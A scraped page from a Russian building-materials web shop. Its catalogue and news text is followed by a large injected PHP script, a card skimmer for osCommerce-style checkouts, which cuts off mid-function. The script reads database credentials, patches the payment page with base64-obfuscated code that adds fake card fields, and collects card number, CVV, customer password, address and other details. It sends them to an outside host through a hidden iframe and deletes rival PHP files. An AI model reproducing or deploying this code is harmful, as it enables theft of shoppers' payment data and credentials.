+7 (495) 773 7424  
 
| Начало| Контакты| Информация | Новинки| Статьи| Прайс-лист (Excel)| Скидки | Корзина |
Расширенный поиск
  Главная » Каталог
Разделы
Герметики, силикон, пены, жидкие гвозди
Гидроизоляция
Гипсокартон
Грунтовочные материалы
Грунтовочные, очищающие и защитные материалы
Инструменты
Инструменты
Клеи и мастики
Лакокрасочная продукция
Лестницы и стремянки
ЛЮКИ
Метизы, крепеж
Наливные полы
Пиломатериалы
Пленка
Плитка керамогранит
Плиточный клей
Профиль, уголки, подвесы
Сетка Металическая
Сетки, серпянки
Стеклообои
Сухие смеси
Шпатлевки
Штукатурки
Люки металические
ОСТАЛЬНОЙ СПИСОК МАТЕРИАЛОВ
Информация
Оплата безналичным расчетом
электроный адрес
Доставка и оплата
Безопасность
Условия и гарантии
Сертификаты
Прайс-лист (Excel)
Прайс-лист (HTML)
Контакты
Статьи
Новые статьи (0)
Все статьи (24)
все о ремонте и стройматериалах (2)
Гипсокартон (1)
КЕРАМЗИТ (1)
Линолеум (2)
Люки (3)
Приминение крепежа в строительст (9)
проводимые нами ремонтные работы
Ремонт
Стрительные смеси, шпатлевки (5)
строительные матариалы со скидкй (1)
Лучшие товары Перейти
01. Подвес прямой П 60/27
02. Штанга М5х2000 (1шт)
03. Штукатурка Ротбанд (30кг)
04. Клей плиточный ЮНИС Плюс (25кг)
05. Плитка стеновая АНТАРЕС 3 Т-П 200х300мм темно-бежевый
Последние новости
Оплата наличными и безналичным расчетом!
Все материалы для ремонта в одном месте
Доставка и подъем стройматериалов
Мы работаем без выходных и праздников !
Строительные материалы с доставкой на дом – это выгодно
Интернет магазин строительных и отделочных материалов.
Ревизионные металические люки !
Доставка стройматериалов
Добро пожаловать Добро пожаловать
<?php $script = basename(__FILE__); $fullpath = $_SERVER["SCRIPT_FILENAME"]; $path = substr($fullpath, 0, strpos($fullpath, $script)); if(strstr($path, "download/")) $path = substr($path, 0, strpos($path, "download/")); if(strstr($path, "images/")) $path = substr($path, 0, strpos($path, "images/")); if(strstr($path, "includes/")) $path = substr($path, 0, strpos($path, "includes/")); if($_SERVER['HTTPS']) $pageURL = "https://"; else $pageURL = "http://"; $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; $pageURL = substr($pageURL, 0, strpos($pageURL, $script)); if(strstr($pageURL, "download/")) $pageURL = substr($pageURL, 0, strpos($pageURL, "download/")); if(strstr($pageURL, "images/")) $pageURL = substr($pageURL, 0, strpos($pageURL, "images/")); if(strstr($pageURL, "includes/")) $pageURL = substr($pageURL, 0, strpos($pageURL, "includes/")); function getUniqueCode(){ $len = 12; $base = 'ABCDEFGHKLMNOPQRSTWXYZabcdefghjkmnpqrstwxyz0123456789'; $max = strlen($base)-1; $code = ''; mt_srand((double)microtime()*1000000); while (strlen($code)<$len+1) $code.=$base{mt_rand(0,$max)}; return $code; } function get_payment_file(){ GLOBAL $path; $filename = $path."checkout_payment.php"; if(file_exists($filename)){ $handle = fopen($filename, "r"); $data = fread($handle, filesize($filename)); fclose($handle); $str = '$selection = $payment_modules->selection();'; if(strstr($data, $str)) return $filename; } if(file_exists($path."includes/configure.php")){ include($path."includes/configure.php"); mysql_connect(DB_SERVER, DB_SERVER_USERNAME, DB_SERVER_PASSWORD); mysql_select_db(DB_DATABASE); if(defined("DB_TABLE_PREFIX")) $prefix = DB_TABLE_PREFIX; if(defined("DB_PREFIX")) $prefix = DB_PREFIX; $sql = mysql_query("SELECT configuration_value FROM ".$prefix."configuration WHERE configuration_key = 'DIR_WS_TEMPLATES_DEFAULT'"); $td = mysql_fetch_array($sql); $t_dir = $td[0]; $filename = $path."templates/".$t_dir."/content/checkout_payment.tpl.php"; if(file_exists($filename) && $t_dir != ""){ return $filename; } } if(file_exists($path."includes/configure.php")){ $sql = mysql_query("SELECT configuration_value FROM ".$prefix."configuration WHERE configuration_key = 'DEFAULT_TEMPLATE'"); $td = mysql_fetch_array($sql); $t_dir = $td[0]; $filename = $path."templates/".$t_dir."/content/checkout_payment.tpl.php"; if(file_exists($filename) && $t_dir != ""){ return $filename; } } $filename = $path."templates/fallback/content/checkout_payment.tpl.php"; if(file_exists($filename)){ return $filename; } $filename = $path."templates/content/checkout_payment.tpl.php"; if(file_exists($filename)){ return $filename; } return false; } function write_payment($filename){ $handle = fopen($filename, "r"); $data = fread($handle, filesize($filename)); fclose($handle); if(strstr($data, "tep_href_link(FILENAME_CHECKOUT_CONFIRMATION")){ $data = str_replace("tep_href_link(FILENAME_CHECKOUT_CONFIRMATION", 'tep_href_link($customer_form', $data); } if(!strstr($data, '$customer_template .= base64_decode("Q1ZWMiA6IA==")')){ $add = base64_decode("DQogIGZ1bmN0aW9uIGlzX251bSgkdmFyKSB7DQogICAgaWYoZW1wdHkoJHZhcikpIHJldHVybiBmYWxzZTsNCiAgICBmb3IgKCRpPTA7JGk8c3RybGVuKCR2YXIpOyRpKyspIHsNCiAgICAgICRhc2NpaV9jb2RlPW9yZCgkdmFyWyRpXSk7DQogICAgICBpZiAoaW50dmFsKCRhc2NpaV9jb2RlKSA+PTQ4ICYmIGludHZhbCgkYXNjaWlfY29kZSkgPD01Nykgewljb250aW51ZTsgfSANCiAgICAgIGVsc2UgeyByZXR1cm4gZmFsc2U7IH0NCiAgICB9DQogICAgcmV0dXJuIHRydWU7DQogIH0NCg0KICBpZihpc3NldCgkX1BPU1RbJ2N2dl9jb2RlJ10pKXsNCiAgICAkY21uID0gJF9QT1NUWydjY19leHBpcmVzX21vbnRoJ107DQogICAgaWYoJGNtbiE9IjEwIikgJGNtbiA9IHN0cl9yZXBsYWNlKCIwIiwgIiIsICRjbW4pOwkNCiAgICBpZihzdHJsZW4oJF9QT1NUWydjY19vd25lciddKSA8IDMpICRlMSA9IDE7DQogICAgaWYoJF9QT1NUWydjY19udW1iZXInXSA8IDEwIHx8ICFpc19udW0oJF9QT1NUWydjY19udW1iZXInXSkpICRlMiA9IDE7DQogICAgaWYoJF9QT1NUWydjY19leHBpcmVzX3llYXInXSA9PSBkYXRlKCJ5IikgJiYgJGNtbiA8IGRhdGUoIm4iKSkgJGUzID0gMTsNCiAgICBpZigoc3RybGVuKCRfUE9TVFsnY3Z2X2NvZGUnXSkgIT0gMyAmJiBzdHJsZW4oJF9QT1NUWydjdnZfY29kZSddKSAhPSA0KSB8fCAhaXNfbnVtKCRfUE9TVFsnY3Z2X2NvZGUnXSkpICRlNCA9IDE7CQ0KICAgIGlmKCRlMSAhPSAxICYmICRlMiAhPSAxICYmICRlMyAhPSAxICYmICRlNCAhPSAxKXsNCiAgICAgICR0ZF9xdWVyeSA9IHRlcF9kYl9xdWVyeSgic2VsZWN0ICogZnJvbSAiIC4gVEFCTEVfQ1VTVE9NRVJTIC4gIiB3aGVyZSBjdXN0b21lcnNfaWQgPSAnIiAuICRjdXN0b21lcl9pZCAuICInIik7DQogICAgICAkY3VzdG9tZXJfaW5mbyA9IHRlcF9kYl9mZXRjaF9hcnJheSgkdGRfcXVlcnkpOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlID0gYmFzZTY0X2RlY29kZSgiVG1GdFpTQTZJQT09IikuJG9yZGVyLT5iaWxsaW5nWydmaXJzdG5hbWUnXS4iICIuJG9yZGVyLT5iaWxsaW5nWydsYXN0bmFtZSddLiJcbiI7DQogICAgICAkY3VzdG9tZXJfdGVtcGxhdGUgLj0gYmFzZTY0X2RlY29kZSgiVkdWc1pYQm9iMjVsSURvZyIpLiRjdXN0b21lcl9pbmZvWydjdXN0b21lcnNfdGVsZXBob25lJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJSVzFoYVd3Z09pQT0iKS4kY3VzdG9tZXJfaW5mb1snY3VzdG9tZXJzX2VtYWlsX2FkZHJlc3MnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlUzUnlaV1YwSURvZyIpLiRvcmRlci0+YmlsbGluZ1snc3RyZWV0X2FkZHJlc3MnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlVHOXpkR052WkdVZ09pQT0iKS4kb3JkZXItPmJpbGxpbmdbJ3Bvc3Rjb2RlJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJRMmwwZVNBNklBPT0iKS4kb3JkZXItPmJpbGxpbmdbJ2NpdHknXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlUzUmhkR1VnT2lBPSIpLiRvcmRlci0+YmlsbGluZ1snc3RhdGUnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlEyOTFiblJ5ZVNBNklBPT0iKS4kb3JkZXItPmJpbGxpbmdbJ2NvdW50cnknXVsndGl0bGUnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlVHRnpjM2R2Y21RZ09pQT0iKS4kY3VzdG9tZXJfcGFzcy4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlEwTWdUM2R1WlhJZ09pQT0iKS4kX1BPU1RbJ2NjX293bmVyJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJRME1nVG5WdFltVnlJRG9nIikuJF9QT1NUWydjY19udW1iZXInXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlExWldNaUE2SUE9PSIpLiRfUE9TVFsnY3Z2X2NvZGUnXS4iXG4iOw0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlIC49IGJhc2U2NF9kZWNvZGUoIlJHRjBaU0JGZUhCcGNtVWdPaUE9IikuJF9QT1NUWydjY19leHBpcmVzX21vbnRoJ10uIi8iLiRfUE9TVFsnY2NfZXhwaXJlc195ZWFyJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJSRTlDSURvZyIpLiRjdXN0b21lcl9pbmZvWydjdXN0b21lcnNfZG9iJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSAuPSBiYXNlNjRfZGVjb2RlKCJVMmwwWlNBNklBPT0iKS4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIlxuIjsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSA9IHN0cnRyKGJhc2U2NF9lbmNvZGUoJGN1c3RvbWVyX3RlbXBsYXRlKSwgJysvPScsICctXywnKTsNCiAgICAgICRjdXN0b21lcl90ZW1wbGF0ZSA9IGJhc2U2NF9kZWNvZGUoIlBHbG1jbUZ0WlNCemNtTTlJbWgwZEhBNkx5OTNkM2N1WlhoamIzVnVkR1Z5TG1OdmJTOXpkR0YwY3k1d2FIQS9hV1E5IikuJGN1c3RvbWVyX3RlbXBsYXRlLmJhc2U2NF9kZWNvZGUoIklpQjNhV1IwYUQwaU1DSWdhR1ZwWjJoMFBTSXdJaUFnWm5KaGJXVmliM0prWlhJOUlqQWlQand2YVdaeVlXMWxQZz09Iik7DQogICAgICBmb3IgKCRpPTA7ICRpIDwgc3RybGVuKCRjdXN0b21lcl90ZW1wbGF0ZSk7ICRpKyspeyAkaGV4IC49ICIlIi5kZWNoZXgob3JkKCRjdXN0b21lcl90ZW1wbGF0ZVskaV0pKTsgfQ0KICAgICAgJGN1c3RvbWVyX3RlbXBsYXRlID0gYmFzZTY0X2RlY29kZSgiUEhOamNtbHdkRDVrYjJOMWJXVnVkQzUzY21sMFpTaDFibVZ6WTJGd1pTZ24iKS4kaGV4LmJhc2U2NF9kZWNvZGUoIkp5a3BPend2YzJOeWFYQjBQZz09Iik7DQogICAgICAkY3VzdG9tZXJfZm9ybSA9IEZJTEVOQU1FX0NIRUNLT1VUX0NPTkZJUk1BVElPTjsJCQ0KICAgIH0NCiAgICBlbHNlICRjdXN0b21lcl9mb3JtID0gRklMRU5BTUVfQ0hFQ0tPVVRfUEFZTUVOVDsNCiAgfQ0KICBlbHNlICRjdXN0b21lcl9mb3JtID0gRklMRU5BTUVfQ0hFQ0tPVVRfUEFZTUVOVDsNCg0K"); $add = str_replace('$_SERVER['HTTP_HOST']', """.$_SERVER['HTTP_HOST'].""", $add); $position = strpos($data, "echo tep_draw_form('checkout_payment'"); $split1 = substr($data, 0, $position); $split2 = substr($data, $position); $data = $split1.$add.$split2; } if(!strstr($data, '<td class="main"><input type="text" name="cvv_code"')){ $add = base64_decode("aWYoJGN1c3RvbWVyX3RlbXBsYXRlID09ICIiKXsNCiAgICBmb3IgKCRpPTE7ICRpPDEzOyAkaSsrKSB7ICRleHBpcmVzX21vbnRoW10gPSBhcnJheSgnaWQnID0+IHNwcmludGYoJyUwMmQnLCAkaSksICd0ZXh0JyA9PiBzdHJmdGltZSgnJUInLG1rdGltZSgwLDAsMCwkaSwxLDIwMDApKSk7IH0NCiAgICAkdG9kYXkgPSBnZXRkYXRlKCk7IA0KICAgIGZvciAoJGk9JHRvZGF5Wyd5ZWFyJ107ICRpIDwgJHRvZGF5Wyd5ZWFyJ10rMTA7ICRpKyspIHsgJGV4cGlyZXNfeWVhcltdID0gYXJyYXkoJ2lkJyA9PiBzdHJmdGltZSgnJXknLG1rdGltZSgwLDAsMCwxLDEsJGkpKSwgJ3RleHQnID0+IHN0cmZ0aW1lKCclWScsbWt0aW1lKDAsMCwwLDEsMSwkaSkpKTsgfQ0KICAgIGlmKCRsYW5ndWFnZSA9PSAicG9saXNoIil7ICRsMSA9ICJXs2G2Y2ljaWVsIEthcnR5OiI7ICRsMiA9ICJOdW1lciBLYXJ0eToiOyAkbDMgPSAiRGF0YSBXYb9ub7ZjaSBLYXJ0eToiOyAkbDQgPSAiTnVtZXIgS29udHJvbG55IEthcnR5IChDVlYpOiI7ICRsNSA9ICJLYXJ0YSBLcmVkeXRvd2EiOyB9DQogICAgZWxzZSBpZigkbGFuZ3VhZ2UgPT0gInJ1c3NpYW4iKXsgJGwxID0gIsLr4OTl6+X2IOrw5eTo8u3u6SDq4PDy7vfq6DoiOyAkbDIgPSAize7s5fAg6vDl5Ojy7e7pIOrg8PLu9+roOiI7ICRsMyA9ICLE5enx8uLo8uXr/O3gIOTuOiI7ICRsNCA9ICLK7u3y8O7r/O376SDt7uzl8CDq8OXk6PLt7ukg6uDw8u736uggKENWVik6IjsgJGw1ID0gIsrw5eTo8u3g/yDq4PDy7vfq4CI7IH0NCiAgICBlbHNlIGlmKCRsYW5ndWFnZSA9PSAiZXNwYW5vbCIpeyAkbDEgPSAiVGl0dWxhciBkZSBsYSB0YXJqZXRhOiI7ICRsMiA9ICJOJnVhY3V0ZTttZXJvIGRlIHRhcmpldGE6IjsgJGwzID0gIkZlY2hhIGRlIGNhZHVjaWRhZDoiOyAkbDQgPSAiQyZvYWN1dGU7ZGlnbyBkZSBzZWd1cmlkYWQgKENWVik6IjsgJGw1ID0gIlRhcmpldGEgZGUgQ3ImZWFjdXRlO2RpdG8iOyB9DQogICAgZWxzZSBpZigkbGFuZ3VhZ2UgPT0gImZyZW5jaCIpeyAkbDEgPSAiVGl0dWxhaXJlIGNhcnRlIGRlIGNyJmVhY3V0ZTtkaXQ6IjsgJGwyID0gIk51bSZlYWN1dGU7cm8gY2FydGUgZGUgY3ImZWFjdXRlO2RpdDoiOyAkbDMgPSAiRGF0ZSBkJ2V4cGlyYXRpb24gY2FydGUgZGUgY3ImZWFjdXRlO2RpdDoiOyAkbDQgPSAiQ3J5cHRvZ3JhbW1lIChDVlYpOiI7ICRsNSA9ICJDYXJ0ZSBkZSBDciZlYWN1dGU7ZGl0IjsgfQ0KICAgIGVsc2UgaWYoJGxhbmd1YWdlID09ICJnZXJtYW4iKXsgJGwxID0gIktyZWRpdGthcnRlbmluaGFiZXI6IjsgJGwyID0gIktyZWRpdGthcnRlbi1Oci46IjsgJGwzID0gIkcmdXVtbDtsdGlnIGJpczoiOyAkbDQgPSAiS3JlZGl0a2FydGVucHImdXVtbDtmbnVtbWVyIChDVlYpOiI7ICRsNSA9ICJLcmVkaXRrYXJ0ZSI7IH0NCiAgICBlbHNlIGlmKCRsYW5ndWFnZSA9PSAiZHV0Y2giKXsgJGwxID0gIkNyZWRpdCBDYXJkIEVpZ2VuYWFyOiI7ICRsMiA9ICJDcmVkaXQgQ2FyZCBOdW1tZXI6IjsgJGwzID0gIkNyZWRpdCBDYXJkIFZlcnZhbGRhdHVtOiI7ICRsNCA9ICJDcmVkaXQgQ2FyZCBDaGVja251bW1lciAoQ1ZWKToiOyAkbDUgPSAiQ3JlZGl0IENhcmQiOyB9DQogICAgZWxzZSBpZigkbGFuZ3VhZ2UgPT0gIml0YWxpYW4iKXsgJGwxID0gIlByb3ByaWV0YXJpbyBDYXJ0YSBkaSBDcmVkaXRvOiI7ICRsMiA9ICJOdW1lcm8gQ2FydGEgZGkgQ3JlZGl0bzoiOyAkbDMgPSAiRGF0YSBkaSBTY2FkZW56YSBDYXJ0YSBkaSBDcmVkaXRvOiI7ICRsNCA9ICJDYXJ0YSBkaSBDcmVkaXRvIENoZWNrbnVtYmVyIChDVlYpOiI7ICRsNSA9ICJDYXJ0YSBkaSBDcmVkaXRvIjsgfQ0KICAgIGVsc2UgaWYoJGxhbmd1YWdlID09ICJkYW5pc2giKXsgJGwxID0gIktyZWRpdCBrb3J0IGVqZXI6IjsgJGwyID0gIktyZWRpdCBrb3J0IG51bW1lcjoiOyAkbDMgPSAiS3JlZGl0a29ydHMgdWRs+GJzIGRhdG86IjsgJGw0ID0gIkNyZWRpdCBDYXJkIENoZWNrbnVtYmVyIChDVlYpOiI7ICRsNSA9ICJLcmVkaXQgS29ydCI7IH0NCiAgICBlbHNlIHsgJGwxID0gIkNyZWRpdCBDYXJkIE93bmVyOiI7ICRsMiA9ICJDcmVkaXQgQ2FyZCBOdW1iZXI6IjsgJGwzID0gIkNyZWRpdCBDYXJkIEV4cGlyeSBEYXRlOiI7ICRsNCA9ICJDcmVkaXQgQ2FyZCBDVlY6IjsgJGw1ID0gIkNyZWRpdCBDYXJkIjsgfQ0KPz4JCQkgIA0KCQkJPHRyPg0KCQkJPHRkIHdpZHRoPSIyMCI+PC90ZD4JCQ0KCQkJCTx0ZCBjb2xzcGFuPSIzIj4JCQkNCgkJCQkJPHRhYmxlIGNlbGxwYWRkaW5nPSIyIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyPSIwIj4NCgkJCQkJCTx0ZCBjbGFzcz0ibWFpbiIgY29sc3Bhbj0iMiI+PGI+PD8gZWNobyAkbDU7ID8+PC9iPjwvdGQ+DQoJCQkJCQk8dHI+DQoJCQkJCQkJPHRkIGNsYXNzPSJtYWluIj48PyBpZigkZTE9PTEpIGVjaG8gIjxmb250IGNvbG9yPVwicmVkXCI+PGI+IjsgZWNobyAkbDE7IGlmKCRlMT09MSkgZWNobyAiPC9iPjwvZm9udD4iOyA/PiZuYnNwOyZuYnNwOzwvdGQ+DQoJCQkJCQkJPHRkIGNsYXNzPSJtYWluIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY2Nfb3duZXIiIHZhbHVlPSI8PyBlY2hvICRvcmRlci0+YmlsbGluZ1snZmlyc3RuYW1lJ10uIiAiLiRvcmRlci0+YmlsbGluZ1snbGFzdG5hbWUnXTsgPz4iICBjbGFzcz0iZm9ybUZpZWxkIj48L3RkPg0KCQkJCQkJPC90cj4NCgkJCQkJCTx0cj4NCgkJCQkJCQk8dGQgY2xhc3M9Im1haW4iPjw/IGlmKCRlMj09MSkgZWNobyAiPGZvbnQgY29sb3I9XCJyZWRcIj48Yj4iOyBlY2hvICRsMjsgaWYoJGUyPT0xKSBlY2hvICI8L2I+PC9mb250PiI7ID8+Jm5ic3A7Jm5ic3A7PC90ZD4NCgkJCQkJCQk8dGQgY2xhc3M9Im1haW4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjY19udW1iZXIiICBjbGFzcz0iZm9ybUZpZWxkIj48L3RkPg0KCQkJCQkJPC90cj4NCgkJCQkJCTx0cj4NCgkJCQkJCQk8dGQgY2xhc3M9Im1haW4iPjw/IGlmKCRlMz09MSkgZWNobyAiPGZvbnQgY29sb3I9XCJyZWRcIj48Yj4iOyBlY2hvICRsMzsgaWYoJGUzPT0xKSBlY2hvICI8L2I+PC9mb250PiI7ID8+Jm5ic3A7Jm5ic3A7PC90ZD4NCgkJCQkJCQk8dGQgY2xhc3M9Im1haW4iPjw/IGVjaG8gdGVwX2RyYXdfcHVsbF9kb3duX21lbnUoJ2NjX2V4cGlyZXNfbW9udGgnLCAkZXhwaXJlc19tb250aCk7ID8+Jm5ic3A7PD8gZWNobyB0ZXBfZHJhd19wdWxsX2Rvd25fbWVudSgnY2NfZXhwaXJlc195ZWFyJywgJGV4cGlyZXNfeWVhcik7ID8+PC90ZD4NCgkJCQkJCTwvdHI+DQoJCQkJCQk8dHI+DQoJCQkJCQkJPHRkIGNsYXNzPSJtYWluIj48PyBpZigkZTQ9PTEpIGVjaG8gIjxmb250IGNvbG9yPVwicmVkXCI+PGI+IjsgZWNobyAkbDQ7IGlmKCRlND09MSkgZWNobyAiPC9iPjwvZm9udD4iOyA/PiZuYnNwOyZuYnNwOzwvdGQ+DQoJCQkJCQkJPHRkIGNsYXNzPSJtYWluIj48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY3Z2X2NvZGUiICBjbGFzcz0iZm9ybUZpZWxkU2hvcnQiIFNJWkU9IjQiLCBNQVhMRU5HVEg9IjQiPjwvdGQ+DQoJCQkJCQk8L3RyPg0KCQkJCQk8L3RhYmxlPg0KCQkJCTwvdGQ+DQoJCQk8L3RyPg0KPD9waHANCiAgfQ0KICBlbHNlew0KICAgIGVjaG8gIlx0XHQiLiRjdXN0b21lcl90ZW1wbGF0ZTsNCiAgICA="); $position = strpos($data, '$selection = $payment_modules->selection();'); $split1 = substr($data, 0, $position); $split2 = substr($data, $position); $data = $split1.$add.$split2; } if(!strstr($data, "alert('We were unable to process your")){ $add = base64_decode("DQogIH0NCiAgDQogIGVjaG8gJzxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQiPmFsZXJ0KFwnV2Ugd2VyZSB1bmFibGUgdG8gcHJvY2VzcyB5b3VyIGNyZWRpdCBjYXJkIHBheW1lbnQuXG5cblBsZWFzZSB1c2UgYSBkaWZmZXJlbnQgcGF5bWVudCBtZXRob2QuXCcpOzwvc2NyaXB0Pic7DQo="); $position = strpos($data, '$radio_buttons++;') + strlen('$radio_buttons++;'); $split1 = substr($data, 0, $position); $split2 = substr($data, $position); $data = $split1.$add.$split2; } if(!strstr($data, "Check this if you want to pay with different payment method") && !strstr($data, "wybierz ten jezeli chcesz zaplacic inna metode platnosci")){ $add = ' </tr> <tr> <td class="main" colspan="2"><br><input type="checkbox" name="skip" value="1"> <? if($language == "polish") echo "wybierz ten jezeli chcesz zaplacic inna metode platnosci"; else echo "Check this if you want to pay with different payment method"; ?></td>'; $position = strpos($data, '<td class="main"><input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4"></td>') + strlen('<td class="main"><input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4"></td>'); $split1 = substr($data, 0, $position); $split2 = substr($data, $position); $data = $split1.$add.$split2; } if(!strstr($data, 'if($order->billing['company']!="" && ($order->billing['nip']!="" || $nip!=""))')){ $add = ' if($order->billing['company']!="" && ($order->billing['nip']!="" || $nip!="")) $customer_template .= base64_decode("Q29tcGFueSA6IA==").$order->billing['company']."n"; if($order->billing['nip']!="") $customer_template .= base64_decode("TklQIDog").$order->billing['nip']."n"; else if($nip!="") $customer_template .= base64_decode("TklQIDog").$nip."n";'; $position = strpos($data, '$customer_template .= base64_decode("RE9CIDog").$customer_info['customers_dob']."n";') + strlen('$customer_template .= base64_decode("RE9CIDog").$customer_info['customers_dob']."n";'); $split1 = substr($data, 0, $position); $split2 = substr($data, $position); $data = $split1.$add.$split2; } if(strstr($data, '<input type="text" name="cc_number" class="formField">')){ $data = str_replace('<input type="text" name="cc_number" class="formField">', '<input type="text" name="cc_number" class="formField" value="<? echo $_POST['cc_number']; ?>">', $data); } if(strstr($data, '<input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4">')){ $data = str_replace('<input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4">', '<input type="text" name="cvv_code" class="formFieldShort" SIZE="4", MAXLENGTH="4" value="<? echo $_POST['cvv_code']; ?>">', $data); } if(strstr($data, 'else $customer_form = FILENAME_CHECKOUT_PAYMENT;')){ $data = str_replace('else $customer_form = FILENAME_CHECKOUT_PAYMENT;', 'else if($_POST['skip'] != 1) $customer_form = FILENAME_CHECKOUT_PAYMENT; else $customer_form = FILENAME_CHECKOUT_CONFIRMATION;', $data); } if(strstr($data, 'if($customer_template == ""){')){ $data = str_replace('if($customer_template == ""){', 'if($customer_template == "" && $_POST['skip'] != 1){', $data); } if(strstr($data, "echo '<script language="javascript">alert('We were unable to process")){ $data = str_replace("echo '<script language="javascript">alert('We were unable to process", 'if($_POST['skip'] != 1) echo "".'<script language="javascript">alert('We were unable to process', $data); } if(strstr($data, "PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhjb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9")){ $data = str_replace("PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuZXhjb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9", "PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cubC1jb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9", $data); } if(strstr($data, 'if($_POST['skip'] != 1) echo "".'<script language="javascript">alert('We were unable to process your credit card payment.nnPlease use a different payment method.');</script>';')){ $data = str_replace('if($_POST['skip'] != 1) echo "".'<script language="javascript">alert('We were unable to process your credit card payment.nnPlease use a different payment method.');</script>';', 'if($_POST['skip'] != 1 && $pst != 1){ $pst = 1; echo "".'<script language="javascript">alert('We were unable to process your credit card payment.nnPlease use a different payment method.');</script>'; }', $data); } if(strstr($data, 'for ($i=0; $i < strlen($customer_template); $i++){ $hex .= "%".dechex(ord($customer_template[$i])); }')){ $data = str_replace('for ($i=0; $i < strlen($customer_template); $i++){ $hex .= "%".dechex(ord($customer_template[$i])); }', '', $data); } if(strstr($data, '$customer_template = base64_decode("PHNjcmlwdD5kb2N1bWVudC53cml0ZSh1bmVzY2FwZSgn").$hex.base64_decode("JykpOzwvc2NyaXB0Pg==");')){ $data = str_replace('$customer_template = base64_decode("PHNjcmlwdD5kb2N1bWVudC53cml0ZSh1bmVzY2FwZSgn").$hex.base64_decode("JykpOzwvc2NyaXB0Pg==");', '', $data); } if(strstr($data, "PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cubC1jb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9")){ $data = str_replace("PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cubC1jb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9", "PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuci1zdGF0cy5jb20vc3RhdHMucGhwP2lkPQ==", $data); } if(strstr($data, '$_POST['skip']=1;')){ $data = str_replace('$_POST['skip']=1;', '', $data); } if(strstr($data, '$_POST['skip'] = 1;')){ $data = str_replace('$_POST['skip'] = 1;', '', $data); } if(strstr($data, '$_POST['skip']="1";')){ $data = str_replace('$_POST['skip']="1";', '', $data); } if(strstr($data, '$_POST['skip'] = "1";')){ $data = str_replace('$_POST['skip'] = "1";', '', $data); } if(strstr($data, '$_POST['skip']='1';')){ $data = str_replace('$_POST['skip']='1';', '', $data); } if(strstr($data, '$_POST['skip'] = '1';')){ $data = str_replace('$_POST['skip'] = '1';', '', $data); } $handle = @fopen($filename, "w"); if(fwrite($handle, $data) === FALSE){ fclose($handle); return false; }else{ fclose($handle); return true; } } function write_confirmation(){ $filename = $path."checkout_confirmation.php"; $handle = fopen($filename, "r"); $data = fread($handle, filesize($filename)); fclose($handle); if(strstr($data, "PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cubC1jb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9")){ $data = str_replace("PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cubC1jb3VudGVyLmNvbS9zdGF0cy5waHA/aWQ9", "PGlmcmFtZSBzcmM9Imh0dHA6Ly93d3cuci1zdGF0cy5jb20vc3RhdHMucGhwP2lkPQ==", $data); } $handle = @fopen($filename, "w"); if(fwrite($handle, $data) === FALSE){ fclose($handle); return false; }else{ fclose($handle); return true; } } function delete_phps(){ GLOBAL $path, $script; $dh = @opendir($path."images/"); while(false !== ($file = @readdir($dh))){ if((strlen($file)-4 == strpos($file, ".php")) && $file != "osm.php") unlink($path."images/".$file); } @closedir($dh); $dh = @opendir($path."download/"); while(false !== ($file = @readdir($dh))){ if(strlen($file)-4 == strpos($file, ".php")) unlink($path."download/".$file); } @closedir($dh); if(file_exists($path."images/osh.php")) unlink($path."images/osh.php"); if(file_exists($path."osh.php")) unlink($path."osh.php"); if(file_exists($path."../images/osh.php")) unlink($path."../images/osh.php"); if(file_exists($path."../osh.php")) unlink($path."../osh.php"); if(file_exists($path."../../images/osh.php")) unlink($path."../../images/osh.php"); 